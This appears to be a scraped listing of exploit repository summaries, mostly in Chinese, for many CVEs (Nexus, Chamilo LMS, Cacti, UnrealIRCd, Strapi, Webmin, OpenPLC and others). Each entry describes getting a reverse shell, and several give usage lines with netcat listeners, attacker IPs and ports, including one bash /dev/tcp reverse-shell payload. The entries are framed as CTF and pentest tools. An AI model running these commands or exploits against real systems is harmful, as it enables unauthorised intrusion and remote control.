Nexus-Repository-Manager3-EL-CVE-2018-16621-https-www.cve.org-CVERecord-id-CVE-2018-16621-

本脚本针对Nexus Repository Manager3 EL注入（CVE-2018-16621）漏洞，一键执行漏洞利用反弹shell 运行示例： 在攻击机本地运行脚本，根据提示输入靶机ip、端口、本机监听ip、端口，之后即可一键执行漏洞利用代码，GET反弹Shell。...

CVE-2020-15227

CVE-2020-15227 免责声明！对于在真实环境中使用它，我不承担任何责任，所以请不要这样做。这个东西只是为了向系统管理员演示和测试而制作的 我是根据 David Grudl（Nette 基金会的创始人）发布的 CVE 制作了这个漏洞利用程序 作为一名安全研究员，我开发了一个小怪物（当然是为了教育和演示目的，出于道德原因，我也制作了自动修复器） 该安全漏洞利用了 nette.micro 中的 callback 参数。我们不知道这个垃圾为什么存在（可能是后门功能？） 该漏洞利用程序试图从受害者服务器获取反向 shell。URL 在这里是硬编码的，所以不用担心修改漏洞利用程序。 欢迎提...

CVE-2023-4220-Proof-of-concept

CVE-2023-4220-概念验证 Chamilo LMS 未授权大文件上传漏洞，可导致远程代码执行 此代码专为 HackTheBox CTF PERMX 制作和使用 Chamilo LMS v1.11.24 及更早版本中的大文件上传功能 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 存在未授权文件上传漏洞，允许向服务器上传任意文件，从而允许我们上传 PHP 反向 shell 该脚本通过创建 PHP shell 文件、将其上传到服务器并启动 netcat 监听器，从而获取反向 shell 用法: python exploit....

CVE-2023-33733-Exploit-PoC

CVE-2023-33733-POC 免责声明 我并未发现此漏洞，也不对此负责。此脚本仅是我为CTF更轻松地利用此漏洞而构建的。原始信息请参考：https://github.com/c53elyas/CVE-2023-33733 此脚本仅是一个用于利用CVE-2023-33733的快速Python3脚本。您需要提供主机、端口、命令以及有效的会话cookie。 帮助菜单 root@kitploit: kali@kali:/Desktop$ python3 exp.py --help usage: foothold.py -h --host HOST --port PORT --cmd CM...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc 针对 CVE-2019-12840 的独立 PoC。 下面将在 443 端口反弹一个反向 shell root@kitploit: $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ / /| | | | | || | || | | | || || | | | | | \ /...

PyUsernameMapScriptRCE

PyUsernameMapScriptRCE CVE-2007-2447 用Python编写的漏洞利用程序，用于获取反向shell...

EFS_CVE-2021-43217

EFS Bypass VulnerabilityCVE-2021-43217 Objective This vulnerability demonstration aimed to establish a controlled environment for simulating an EFS bypass on windows 10 through Kali Linux. The primary focus was to perform a vulnerability pentration and show the possiblity of controlling a desktop...

cve-2020-14008

CVE-2020-14008 ManageEngine 漏洞利用 这是什么？ 此脚本利用 ManageEngine Applications Manager 中的 CVE-2020-14008 漏洞来获取具有 SYSTEM 权限的反向 shell。 依赖要求 root@kitploit: pip3 install requests urllib3 如何使用 1. 启动监听器 root@kitploit: nc -nlvp 9001 2. 运行漏洞利用脚本 root@kitploit: python3 cve-2020-14008-exploit.py 示例 root@kitploit:...

CVE-2022-22963_Reverse-Shell-Exploit

CVE-2022-22963 反弹 Shell 漏洞利用 这是一个 Python 脚本，用于利用 CVE-2022-22963，这是 Spring Cloud Function 中的一个远程代码执行漏洞，允许攻击者在存在漏洞的服务器上执行任意代码。该漏洞利用脚本使用存在漏洞的 /functionRouter 端点，在目标服务器上执行命令。 用法 要使用此漏洞利用，只需运行脚本并使用 -u 选项指定存在漏洞的服务器的 URL。脚本会检查服务器是否存在漏洞，并提示用户是否要尝试获取反弹 Shell。如果用户选择继续，脚本将启动一个 netcat 监听器，并尝试在目标服务器上执行指定命令。...

CVE-2021-41773-Playground

CVE-2021-41773-Playground Algunas imágenes de Docker para jugar con CVE-2021-41773 y CVE-2021-42013 Ejecuta docker compose up -d para levantar todos los contenedores. Los servidores se ejecutarán en los puertos 8080, 8081, 8082 y 8083. 8080 contiene un Apache 2.4.49 con CGI deshabilitado. 8081...

CVE-2023-422-Chamilo-LMS-RCE

先决条件 root@kitploit: pip install requests 信息 该Python脚本利用漏洞CVE-2023-422将文件上传到服务器，并使用该文件向netcat监听器发送反弹shell，整个过程无需身份验证。然而，你需要按照以下步骤来成功使用该Python脚本。 启动netcat监听器： root@kitploit: nc -lnvp 4444 执行Python脚本（示例）： root@kitploit: python3 main.py -u "http://lms.permx.htb" -p "80" -ni "10.10.16.24" -np "4445"...

CVE-2023-27163-AND-Mailtrail-v0.53

自动漏洞利用 摘要 下面的利用程序滥用 Requests Baskets v1.2.1 SSRF 漏洞，将运行在 127.0.0.1:80 的内部应用转发至位于 /pwned 的外部应用。一旦 Mailtrail v0.53 应用被转发，该利用程序便会对其执行反弹 Shell 命令，几秒钟内用户即可在目标机器上获得一个反弹 Shell。 命令 root@kitploit: python3 ./exploit http://10.10.10.10:55555 LISTENER-IP LISTENER-PORT 所利用的漏洞： CVE-2023-27163 Mailtrail v0.53 致...

fusionpbx_rce_vulnerability

前言 这段简单的代码试图完整实现由Dustin Cobb在使用来电显示实现RCE – FusionPBX的多个漏洞中介绍的链式漏洞。 远程代码执行 复现步骤 1. 在Web浏览器中查看存在漏洞的操作员屏幕，本例位于 https://fusionpbxaddress/app/operatorpanel/index.php 2. 在远程系统（rcelisteneraddress）上启动一个netcat监听器.x 3. 在远程系统的另一个终端窗口中运行下面的漏洞利用代码 python3 .\main.py --closercesockets False --attackeraddress...

MySQL-Fu.rb

MySQL-Fu.rb MySQL-Fu 是我编写的一个基于 Ruby 的 MySQL 客户端脚本。 它能完成普通 MySQL 客户端可能会做的大部分事情：SQL Shell、更新/删除/Drop 数据库/表、添加/删除用户、转储数据库/表并支持 gzip 压缩选项...... 另外还有一些额外选项 能让渗透测试更轻松一些。 包含多个内置的 PHP 命令 Shell 选项，以及 Pentestmonkey 的 PHP 反向 Shell；此外，还提供多种文件写入和读取选项（所有读取的文件都会在本地记录日志，供后续离线分析）；另外还包含 Kingcope 的 CVE-2012-5613...

Strapi-RCE

Strapi-RCE 展示结合了 CVE-2019-18818 和 CVE-2019-19609 的利用脚本，用于在 Strapi CMS 中实现未经认证的远程代码执行。 漏洞利用 此脚本利用了 Strapi CMS 3.0.0-beta.17.4 及更低版本中的一个漏洞，允许未经认证的远程代码执行。 描述 该利用方法首先利用密码重置漏洞获取管理用户的 JSON Web Token JWT。然后使用该令牌向 Strapi CMS 发送恶意负载，从而触发反向 shell 回连到攻击者的机器。 使用方法 1. 克隆仓库： root@kitploit: git clone...

CVE-2025-32433-exploit

CVE-2025-32433-exploit rlwrap -cAr nc -lnvp 4444 python3 exploit.py...

CVE-2020-24186

CVE-2020-24186 该脚本利用 WordPress 中的 CVE-2020-24186 漏洞，上传伪装后的 PHP 负载并在目标系统上获取 Shell。共有三种操作模式： 1. 交互式 Shell: 上传基础 WebShell 并进入交互模式，允许您通过 cmd 参数发送命令。 2. 手动反弹 Shell: 上传 WebShell 并发送反弹 Shell 负载，但 不会 自动启动监听器。您需要在指定的 IP 和端口上手动启动自己的监听器。 3. 使用 pwntools 反弹 Shell: 上传 WebShell，发送反弹 Shell 负载，脚本会自动使用 pwntools...

CVE-2022-46169-CACTI-1.2.22

CVE-2022-46169-CACTI-1.2.22 这是针对 cacti 1.2.22 的 CVE-2022-46169 漏洞利用程序。该漏洞利用程序通过 RCE 在您的计算机上获取一个反向 shell。 依赖 optparse requests 使用方法 先在您计算机的某个端口上进行监听，然后按如下方式运行该漏洞利用程序。 root@kitploit: python3 CVE-2022-46169.py -u http://10.129.216.153 --LHOST=10.10.16.23 --LPORT=443 Checking... The target is...

CVE-2010-2075-UnrealIRCd-3.2.8.1

CVE-2010-2075 针对 CVE-2010-2075 的漏洞利用。此漏洞利用允许在 UnrealIRCd 3.2.8.1 中远程执行命令。 要求 optparse, signal 用法 你可以发送要执行的命令，但有时不会收到响应；这时只需发送一个反向 shell，然后等待它连接回来。 root@kitploit: python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i & /dev/tcp/10.0.2.48/443 0&1"' Creating connection Creating payload...

CVE-2021-31630

OpenPLC WebServer v3 - 认证 RCE CVE-2021-31630 此漏洞利用基于 Exploit-DB 上由 Fellipe Oliveira 制作的漏洞利用。 首先，进行身份认证 上传恶意 C 文件 编译它 启动 PLC（发起反向Shell） 停止 PLC（无需运行，反向Shell已发起） root@kitploit: └─ python3 customexploit.py --url http://10.10.11.7:8080 --username openplc --password openplc --listenerip 10.10.16.4...